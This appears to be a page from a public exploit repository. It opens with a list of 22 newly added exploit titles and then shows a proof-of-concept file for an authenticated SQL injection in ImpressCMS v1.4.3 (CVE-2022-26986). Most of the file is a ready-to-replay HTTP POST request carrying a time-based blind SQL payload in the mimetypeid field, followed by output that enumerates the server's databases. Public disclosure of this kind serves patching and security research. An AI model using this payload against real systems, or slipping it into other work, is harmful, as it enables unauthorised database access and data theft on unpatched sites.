79023d1f9c
22 changes to exploits/shellcodes/ghdb Password Manager for IIS v2.0 - XSS DLink DIR 819 A1 - Denial of Service D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution Abantecart v1.3.2 - Authenticated Remote Code Execution Bus Pass Management System 1.0 - Cross-Site Scripting (XSS) Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution Employee Performance Evaluation System v1.0 - File Inclusion and RCE GuppY CMS v6.00.10 - Remote Code Execution Human Resources Management System v1.0 - Multiple SQLi ImpressCMS v1.4.3 - Authenticated SQL Injection Lavalite v9.0.0 - XSRF-TOKEN cookie File path traversal MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi Online Diagnostic Lab Management System v1.0 - Remote Code Execution (RCE) (Unauthenticated) PHPGurukul Online Birth Certificate System V 1.2 - Blind XSS SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution Translatepress Multilinugal WordPress plugin < 2.3.3 - Authenticated SQL Injection Yoga Class Registration System v1.0 - Multiple SQLi NVFLARE < 2.1.4 - Unsafe Deserialization due to Pickle _camp_ Raspberry Pi camera server 1.0 - Authentication Bypass System Mechanic v15.5.0.61 - Arbitrary Read/Write
69 lines
No EOL
2.6 KiB
Text
69 lines
No EOL
2.6 KiB
Text
# Exploit Title: Authenticated Sql Injection in ImpressCMS v1.4.3
|
|
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
|
|
# Date: 7th March 2022
|
|
# CVE ID: CVE-2022-26986
|
|
# Confirmed on release 1.4.3, this vulnerability is patched in the version 1.4.4 and above...
|
|
# Vendor: https://www.impresscms.org
|
|
# Source: https://github.com/ImpressCMS/impresscms/releases/tag/v1.4.3
|
|
|
|
###############################################
|
|
#Step1- Login with Admin Credentials
|
|
#Step2- Vulnerable Parameter to SQLi: mimetypeid (POST request):
|
|
|
|
POST /ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1 HTTP/1.1
|
|
Host: 192.168.56.117
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: multipart/form-data; boundary=---------------------------40629177308912268471540748701
|
|
Content-Length: 1011
|
|
Origin: http://192.168.56.117
|
|
Connection: close
|
|
Referer: http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1
|
|
Cookie: tbl_SystemMimetype_sortsel=mimetypeid; tbl_limitsel=15; tbl_SystemMimetype_filtersel=default; ICMSSESSION=7c9f7a65572d2aa40f66a0d468bb20e3
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
-----------------------------40629177308912268471540748701
|
|
Content-Disposition: form-data; name="mimetypeid"
|
|
|
|
1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE)
|
|
-----------------------------40629177308912268471540748701
|
|
Content-Disposition: form-data; name="extension"
|
|
|
|
bin
|
|
-----------------------------40629177308912268471540748701
|
|
Content-Disposition: form-data; name="types"
|
|
|
|
application/octet-stream
|
|
-----------------------------40629177308912268471540748701
|
|
Content-Disposition: form-data; name="name"
|
|
|
|
Binary File/Linux Executable
|
|
-----------------------------40629177308912268471540748701
|
|
Content-Disposition: form-data; name="icms_page_before_form"
|
|
|
|
http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype
|
|
-----------------------------40629177308912268471540748701
|
|
Content-Disposition: form-data; name="op"
|
|
|
|
addmimetype
|
|
-----------------------------40629177308912268471540748701
|
|
Content-Disposition: form-data; name="modify_button"
|
|
|
|
Submit
|
|
-----------------------------40629177308912268471540748701--
|
|
|
|
Vulnerable Payload:
|
|
1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE) //time-based blind (query SLEEP)
|
|
|
|
Output:
|
|
web application technology: Apache 2.4.52, PHP 7.4.27
|
|
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
|
|
available databases [6]:
|
|
[*] impresscms
|
|
[*] information_schema
|
|
[*] mysql
|
|
[*] performance_schema
|
|
[*] phpmyadmin
|
|
[*] test |